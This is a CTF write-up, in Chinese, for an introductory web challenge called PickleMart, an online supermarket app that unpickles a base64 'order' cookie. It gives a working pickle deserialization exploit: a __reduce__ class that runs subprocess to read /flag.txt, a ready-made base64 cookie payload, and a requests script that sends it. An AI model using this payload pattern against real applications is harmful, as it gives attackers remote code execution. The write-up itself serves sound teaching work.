# PickleMart 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| PickleMart | PickleMart 是一个在线超市购物平台，用户可以在线浏览商品、添加到购物车并查看订单。平台使用先进的技术来存储用户的购物车信息，确保购物体验流畅便捷。快来体验智能购物吧！ | WEB | 1-2小时 | 入门 | 是 |

## 知识点
1. Python pickle 反序列化漏洞
2. Cookie 数据的安全处理
3. `__reduce__` 方法的利用
4. 命令执行与数据提取

## 解题步骤

### Step 1: 信息收集与功能分析
访问 PickleMart 网站，发现是一个在线超市购物平台。主要功能包括：
- 浏览商品（苹果、牛奶、面包、鸡蛋）
- 添加商品到购物车（通过 POST 请求到 `/checkout`）
- 查看订单详情（通过 GET 请求到 `/order`）

测试发现，添加商品到购物车时会设置一个 `cart` cookie，查看订单时会读取 `order` cookie。

### Step 2: 发现反序列化漏洞
查看 `/order` 路由的源代码，发现关键代码：
```python
order_cookie = request.cookies.get('order', '')
if order_cookie:
    order_data = base64.b64decode(order_cookie)
    order_obj = pickle.loads(order_data)
    return f"<h1>Your order: {order_obj}</h1>"
```

这里直接将用户提供的 cookie 值进行 base64 解码后使用 `pickle.loads()` 反序列化，存在 Python pickle 反序列化漏洞。

### Step 3: 构造 exploit payload
Python pickle 反序列化可以通过 `__reduce__` 方法执行任意代码。构造 payload：

```python
import pickle
import base64

class RCE:
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['cat', '/flag.txt'],))

pickled = pickle.dumps(RCE())
payload = base64.b64encode(pickled).decode()
```

这个 payload 会执行 `cat /flag.txt` 命令并返回结果。

### Step 4: 发送 payload 获取 flag
将生成的 payload 设置为 `order` cookie，然后访问 `/order` 路由：

```python
import requests

url = "http://target:port"
cookies = {'order': 'gASVOQAAAAAAAACMCnN1YnByb2Nlc3OUjAxjaGVja19vdXRwdXSUk5RdlCiMA2NhdJSMCS9mbGFnLnR4dJRlhZRSlC4='}
response = requests.get(f"{url}/order", cookies=cookies)
```

响应中会包含 flag 内容：`<h1>Your order: b'DASCTF{test12345}\n'</h1>`

### Step 5: 提取 flag
从响应中提取 flag：
```python
import re
match = re.search(r"b'([^']+)'", response.text)
if match:
    flag = match.group(1).replace('\\n', '').strip()
    print(f"Flag: {flag}")
```

## Flag
DASCTF{test12345}